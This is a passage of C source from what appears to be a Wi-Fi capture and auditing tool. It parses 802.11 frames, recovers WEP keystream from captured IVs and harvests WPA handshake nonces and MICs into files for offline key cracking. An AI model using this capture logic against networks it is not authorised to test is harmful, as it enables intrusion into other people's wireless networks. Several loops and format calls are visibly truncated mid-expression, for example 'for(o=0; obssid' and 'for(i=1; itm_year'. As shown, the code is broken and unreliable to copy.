ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } if( z + 26 > (unsigned)caplen ) goto write_packet; if( h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03 ) { // if( ap_cur->encryption < 0 ) // ap_cur->encryption = 0; /* if ethertype == IPv4, find the LAN address */ if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 20], 4 ); if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 22], 4 ); } // else // ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5 ); if(ap_cur->security == 0 || (ap_cur->security & STD_WEP) ) { if( (h80211[1] & 0x40) != 0x40 ) { ap_cur->security |= STD_OPN; } else { if((h80211[z+3] & 0x20) == 0x20) { ap_cur->security |= STD_WPA; } else { ap_cur->security |= STD_WEP; if( (h80211[z+3] & 0xC0) != 0x00) { ap_cur->security |= ENC_WEP40; } else { ap_cur->security &= ~ENC_WEP40; ap_cur->security |= ENC_WEP; } } } } if( z + 10 > (unsigned)caplen ) goto write_packet; if( ap_cur->security & STD_WEP ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; /* datalen = caplen - (header+iv+ivs) */ dlen = caplen -z -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; obssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); ap_cur->nb_data++; } // Record all data linked to IV to detect WEP Cloaking if( G.f_ivs == NULL && G.detect_anomaly) { // Only allocate this when seeing WEP AP if (ap_cur->data_root == NULL) ap_cur->data_root = data_init(); // Only works with full capture, not IV-only captures if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4]) == CLOAKING && ap_cur->EAP_detected == 0) { //If no EAP/EAP was detected, indicate WEP cloaking memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } } else { ap_cur->nb_data++; } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) z+=2; if( z + 26 > (unsigned)caplen ) goto write_packet; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { ap_cur->EAP_detected = 1; z += 2; //skip ethertype if( st_cur == NULL ) goto write_packet; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > (unsigned)caplen ) goto write_packet; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - (unsigned)z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - (unsigned)z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); memcpy( G.wpa_bssid, ap_cur->bssid, 6 ); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ", G.wpa_bssid[0], G.wpa_bssid[1], G.wpa_bssid[2], G.wpa_bssid[3], G.wpa_bssid[4], G.wpa_bssid[5]); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } write_packet: if(ap_cur != NULL) { if( h80211[0] == 0x80 && G.one_beacon){ if( !ap_cur->beacon_logged ) ap_cur->beacon_logged = 1; else return ( 0 ); } } if(G.record_data) { if( ( (h80211[0] & 0x0C) == 0x00 ) && ( (h80211[0] & 0xF0) == 0xB0 ) ) { /* authentication packet */ check_shared_key(h80211, caplen); } } if(ap_cur != NULL) { if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { return(1); } if(is_filtered_essid(ap_cur->essid)) { return(1); } } /* this changes the local ap_cur, st_cur and na_cur variables and should be the last check befor the actual write */ if(caplen < 24 && caplen >= 10 && h80211[0]) { /* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/ //(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 || h80211[0] == 0xE4 || h80211[0] == 0xF4) /* use general control frame detection, as the structure is always the same: mac(s) starting at [4] */ if(h80211[0] & 0x04) { p=h80211+4; while(p <= h80211+16 && p<=h80211+caplen) { memcpy(namac, p, 6); if(memcmp(namac, NULL_MAC, 6) == 0) { p+=6; continue; } if(memcmp(namac, BROADCAST, 6) == 0) { p+=6; continue; } if(G.hide_known) { /* check AP list */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, namac, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's an AP, try next mac */ if( ap_cur != NULL ) { p+=6; continue; } /* check ST list */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, namac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a client, try next mac */ if( st_cur != NULL ) { p+=6; continue; } } /* not found in either AP list or ST list, look through NA list */ na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, namac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* update our chained list of unknown stations */ /* if it's a new mac, add it */ if( na_cur == NULL ) { if( ! ( na_cur = (struct NA_info *) malloc( sizeof( struct NA_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( na_cur, 0, sizeof( struct NA_info ) ); if( G.na_1st == NULL ) G.na_1st = na_cur; else na_prv->next = na_cur; memcpy( na_cur->namac, namac, 6 ); na_cur->prev = na_prv; gettimeofday(&(na_cur->tv), NULL); na_cur->tinit = time( NULL ); na_cur->tlast = time( NULL ); na_cur->power = -1; na_cur->channel = -1; na_cur->ack = 0; na_cur->ack_old = 0; na_cur->ackps = 0; na_cur->cts = 0; na_cur->rts_r = 0; na_cur->rts_t = 0; } /* update the last time seen & power*/ na_cur->tlast = time( NULL ); na_cur->power = ri->ri_power; na_cur->channel = ri->ri_channel; switch(h80211[0] & 0xF0) { case 0xB0: if(p == h80211+4) na_cur->rts_r++; if(p == h80211+10) na_cur->rts_t++; break; case 0xC0: na_cur->cts++; break; case 0xD0: na_cur->ack++; break; default: na_cur->other++; break; } /*grab next mac (for rts frames)*/ p+=6; } } } if( G.f_cap != NULL && caplen >= 10) { pkh.caplen = pkh.len = caplen; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = ( tv.tv_usec & ~0x1ff ) + ri->ri_power + 64; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( h80211, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } fflush( stdout ); } return( 0 ); } void dump_sort( void ) { time_t tt = time( NULL ); /* thanks to Arnaud Cornet :-) */ struct AP_info *new_ap_1st = NULL; struct AP_info *new_ap_end = NULL; struct ST_info *new_st_1st = NULL; struct ST_info *new_st_end = NULL; struct ST_info *st_cur, *st_min; struct AP_info *ap_cur, *ap_min; /* sort the aps by WHATEVER first */ while( G.ap_1st ) { ap_min = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( tt - ap_cur->tlast > 20 ) ap_min = ap_cur; ap_cur = ap_cur->next; } if( ap_min == NULL ) { ap_min = ap_cur = G.ap_1st; /*#define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 6 #define SORT_BY_CHAN 7 #define SORT_BY_MBIT 8 #define SORT_BY_ENC 9 #define SORT_BY_CIPHER 10 #define SORT_BY_AUTH 11 #define SORT_BY_ESSID 12*/ while( ap_cur != NULL ) { switch (G.sort_by) { case SORT_BY_BSSID: if( memcmp(ap_cur->bssid,ap_min->bssid,6)*G.sort_inv < 0) ap_min = ap_cur; break; case SORT_BY_POWER: if( (ap_cur->avg_power - ap_min->avg_power)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_BEACON: if( (ap_cur->nb_bcn < ap_min->nb_bcn)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_DATA: if( (ap_cur->nb_data < ap_min->nb_data)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_PRATE: if( (ap_cur->nb_dataps - ap_min->nb_dataps)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CHAN: if( (ap_cur->channel - ap_min->channel)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_MBIT: if( (ap_cur->max_speed - ap_min->max_speed)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ENC: if( ((ap_cur->security&STD_FIELD) - (ap_min->security&STD_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CIPHER: if( ((ap_cur->security&ENC_FIELD) - (ap_min->security&ENC_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_AUTH: if( ((ap_cur->security&AUTH_FIELD) - (ap_min->security&AUTH_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ESSID: if( (strncasecmp((char*)ap_cur->essid, (char*)ap_min->essid, MAX_IE_ELEMENT_SIZE))*G.sort_inv < 0 ) ap_min = ap_cur; break; default: //sort by power if( ap_cur->avg_power < ap_min->avg_power) ap_min = ap_cur; break; } ap_cur = ap_cur->next; } } if( ap_min == G.ap_1st ) G.ap_1st = ap_min->next; if( ap_min == G.ap_end ) G.ap_end = ap_min->prev; if( ap_min->next ) ap_min->next->prev = ap_min->prev; if( ap_min->prev ) ap_min->prev->next = ap_min->next; if( new_ap_end ) { new_ap_end->next = ap_min; ap_min->prev = new_ap_end; new_ap_end = ap_min; new_ap_end->next = NULL; } else { new_ap_1st = new_ap_end = ap_min; ap_min->next = ap_min->prev = NULL; } } G.ap_1st = new_ap_1st; G.ap_end = new_ap_end; /* now sort the stations */ while( G.st_1st ) { st_min = NULL; st_cur = G.st_1st; while( st_cur != NULL ) { if( tt - st_cur->tlast > 60 ) st_min = st_cur; st_cur = st_cur->next; } if( st_min == NULL ) { st_min = st_cur = G.st_1st; while( st_cur != NULL ) { if( st_cur->power < st_min->power) st_min = st_cur; st_cur = st_cur->next; } } if( st_min == G.st_1st ) G.st_1st = st_min->next; if( st_min == G.st_end ) G.st_end = st_min->prev; if( st_min->next ) st_min->next->prev = st_min->prev; if( st_min->prev ) st_min->prev->next = st_min->next; if( new_st_end ) { new_st_end->next = st_min; st_min->prev = new_st_end; new_st_end = st_min; new_st_end->next = NULL; } else { new_st_1st = new_st_end = st_min; st_min->next = st_min->prev = NULL; } } G.st_1st = new_st_1st; G.st_end = new_st_end; } int getBatteryState() { return get_battery_state(); } char * getStringTimeFromSec(double seconds) { int hour[3]; char * ret; char * HourTime; char * MinTime; if (seconds <0) return NULL; ret = (char *) calloc(1,256); HourTime = (char *) calloc (1,128); MinTime = (char *) calloc (1,128); hour[0] = (int) (seconds); hour[1] = hour[0] / 60; hour[2] = hour[1] / 60; hour[0] %= 60 ; hour[1] %= 60 ; if (hour[2] != 0 ) snprintf(HourTime, 128, "%d %s", hour[2], ( hour[2] == 1 ) ? "hour" : "hours"); if (hour[1] != 0 ) snprintf(MinTime, 128, "%d %s", hour[1], ( hour[1] == 1 ) ? "min" : "mins"); if ( hour[2] != 0 && hour[1] != 0 ) snprintf(ret, 256, "%s %s", HourTime, MinTime); else { if (hour[2] == 0 && hour[1] == 0) snprintf(ret, 256, "%d s", hour[0] ); else snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime ); } free(MinTime); free(HourTime); return ret; } char * getBatteryString(void) { int batt_time; char * ret; char * batt_string; batt_time = getBatteryState(); if ( batt_time <= 60 ) { ret = (char *) calloc(1,2); ret[0] = ']'; return ret; } batt_string = getStringTimeFromSec( (double) batt_time ); ret = (char *) calloc( 1, 256 ); snprintf( ret, 256, "][ BAT: %s ]", batt_string ); free( batt_string); return ret; } int get_ap_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; int num_ap; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_ap = 0; while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; ap_cur = ap_cur->prev; } return num_ap; } int get_sta_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; struct ST_info *st_cur; int num_sta; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } st_cur = G.st_end; while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; st_cur = st_cur->prev; } ap_cur = ap_cur->prev; } return num_sta; } #define TSTP_SEC 1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */ #define TSTP_MIN (TSTP_SEC * 60ULL) #define TSTP_HOUR (TSTP_MIN * 60ULL) #define TSTP_DAY (TSTP_HOUR * 24ULL) static char *parse_timestamp(unsigned long long timestamp) { static char s[15]; unsigned long long rem; unsigned int days, hours, mins, secs; days = timestamp / TSTP_DAY; rem = timestamp % TSTP_DAY; hours = rem / TSTP_HOUR; rem %= TSTP_HOUR; mins = rem / TSTP_MIN; rem %= TSTP_MIN; secs = rem / TSTP_SEC; snprintf(s, 14, "%3dd %02d:%02d:%02d", days, hours, mins, secs); return s; } void dump_print( int ws_row, int ws_col, int if_num ) { time_t tt; struct tm *lt; int nlines, i, n, len; char strbuf[512]; char buffer[512]; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; struct NA_info *na_cur; int columns_ap = 83; int columns_sta = 74; int columns_na = 68; int num_ap; int num_sta; if(!G.singlechan) columns_ap -= 4; //no RXQ in scan mode if(G.show_uptime) columns_ap += 15; //show uptime needs more space nlines = 2; if( nlines >= ws_row ) return; if(G.do_sort_always) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } tt = time( NULL ); lt = localtime( &tt ); if(G.is_berlin) { G.maxaps = 0; G.numaps = 0; ap_cur = G.ap_end; while( ap_cur != NULL ) { G.maxaps++; if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } G.numaps++; ap_cur = ap_cur->prev; } if(G.numaps > G.maxnumaps) G.maxnumaps = G.numaps; // G.maxaps--; } /* * display the channel, battery, position (if we are connected to GPSd) * and current time */ memset( strbuf, '\0', sizeof(strbuf) ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.freqoption) { snprintf(strbuf, sizeof(strbuf)-1, " Freq %4d", G.frequency[0]); for(i=1; itm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } else { snprintf( buffer, sizeof( buffer ) - 1, " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.elapsed_time, 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(G.is_berlin) { snprintf( buffer, sizeof( buffer ) - 1, " ][%3d/%3d/%4d ", G.numaps, G.maxnumaps, G.maxaps); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(strlen(G.message) > 0) { strncat(strbuf, G.message, (512-strlen(strbuf))); } //add traling spaces to overwrite previous messages strncat(strbuf, " ", (512-strlen(strbuf))); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); /* print some informations about each detected AP */ nlines += 3; if( nlines >= ws_row ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.show_ap) { strbuf[0] = 0; strcat(strbuf, " BSSID PWR "); if(G.singlechan) strcat(strbuf, "RXQ "); strcat(strbuf, " Beacons #Data, #/s CH MB ENC CIPHER AUTH "); if (G.show_uptime) strcat(strbuf, " UPTIME "); if (G.show_wps) { strcat(strbuf, "WPS "); if ( ws_col > (columns_ap - 4) ) { memset(strbuf+columns_ap, 32, G.maxsize_wps_seen - 6 ); snprintf(strbuf+columns_ap+G.maxsize_wps_seen-6, 9,"%s"," ESSID"); if ( G.show_manufacturer ) { memset(strbuf+columns_ap+G.maxsize_wps_seen+2, 32, G.maxsize_essid_seen-5 ); snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s"," MANUFACTURER"); } } } else { strcat(strbuf, "ESSID"); if ( G.show_manufacturer && ( ws_col > (columns_ap - 4) ) ) { // write spaces (32). memset(strbuf+columns_ap, 32, G.maxsize_essid_seen - 5 ); // 5 is the len of "ESSID" snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s"," MANUFACTURER"); } } strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; if(G.selection_ap) { num_ap = get_ap_list_count(); if(G.selected_ap > num_ap) G.selected_ap = num_ap; } if(G.selection_sta) { num_sta = get_sta_list_count(); if(G.selected_sta > num_sta) G.selected_sta = num_sta; } num_ap = 0; if(G.selection_ap) { G.start_print_ap = G.selected_ap - ((ws_row-1) - nlines) + 1; if(G.start_print_ap < 1) G.start_print_ap = 1; // printf("%i\n", G.start_print_ap); } while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; if(num_ap < G.start_print_ap) { ap_cur = ap_cur->prev; continue; } nlines++; if( nlines > (ws_row-1) ) return; memset(strbuf, '\0', sizeof(strbuf)); snprintf( strbuf, sizeof(strbuf), " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); len = strlen(strbuf); if(G.singlechan) { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->rx_quality, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } else { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } len = strlen(strbuf); snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d%c%c ", ap_cur->channel, ap_cur->max_speed, ( ap_cur->security & STD_QOS ) ? 'e' : ' ', ( ap_cur->preamble ) ? '.' : ' '); len = strlen(strbuf); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) snprintf( strbuf+len, sizeof(strbuf)-len, " " ); else if( ap_cur->security & STD_WPA2 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA2" ); else if( ap_cur->security & STD_WPA ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA " ); else if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP " ); else if( ap_cur->security & STD_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN " ); strncat( strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1); len = strlen(strbuf); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & ENC_CCMP ) snprintf( strbuf+len, sizeof(strbuf)-len, "CCMP "); else if( ap_cur->security & ENC_WRAP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WRAP "); else if( ap_cur->security & ENC_TKIP ) snprintf( strbuf+len, sizeof(strbuf)-len, "TKIP "); else if( ap_cur->security & ENC_WEP104 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP104 "); else if( ap_cur->security & ENC_WEP40 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP40 "); else if( ap_cur->security & ENC_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP "); len = strlen(strbuf); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & AUTH_MGT ) snprintf( strbuf+len, sizeof(strbuf)-len, "MGT"); else if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "SKA"); else snprintf( strbuf+len, sizeof(strbuf)-len, "PSK"); } else if( ap_cur->security & AUTH_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN"); len = strlen(strbuf); if (G.show_uptime) { snprintf(strbuf+len, sizeof(strbuf)-len, " %14s", parse_timestamp(ap_cur->timestamp)); len = strlen(strbuf); } strbuf[ws_col-1] = '\0'; if(G.selection_ap && ((num_ap) == G.selected_ap)) { if(G.mark_cur_ap) { if(ap_cur->marked == 0) { ap_cur->marked = 1; } else { ap_cur->marked_color++; if(ap_cur->marked_color > (TEXT_MAX_COLOR-1)) { ap_cur->marked_color = 1; ap_cur->marked = 0; } } G.mark_cur_ap = 0; } textstyle(TEXT_REVERSE); memcpy(G.selected_bssid, ap_cur->bssid, 6); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } fprintf(stderr, "%s", strbuf); if( ws_col > (columns_ap - 4) ) { memset( strbuf, 0, sizeof( strbuf ) ); if (G.show_wps) { if (ap_cur->wps.state != 0xFF) { if (ap_cur->wps.ap_setup_locked) // AP setup locked snprintf(strbuf, sizeof(strbuf)-1, "Locked"); else { snprintf(strbuf, sizeof(strbuf)-1, "%d.%d", ap_cur->wps.version >> 4, ap_cur->wps.version & 0xF); // Version if (ap_cur->wps.meth) // WPS Config Methods { char tbuf[64]; memset( tbuf, '\0', sizeof(tbuf) ); int sep = 0; #define T(bit, name) do { \ if (ap_cur->wps.meth & (1<essid[0] != 0x00) { if (G.show_wps) snprintf( strbuf + G.maxsize_wps_seen, sizeof(strbuf)-G.maxsize_wps_seen, " %s", ap_cur->essid ); else snprintf( strbuf, sizeof( strbuf ) - 1, "%s", ap_cur->essid ); } else { if (G.show_wps) snprintf( strbuf + G.maxsize_wps_seen, sizeof(strbuf)-G.maxsize_wps_seen, " %s", ap_cur->ssid_length, "\x00" ); else snprintf( strbuf, sizeof( strbuf ) - 1, "%s", ap_cur->ssid_length, "\x00" ); } if (G.show_manufacturer) { if (G.maxsize_essid_seen <= strlen(strbuf)) 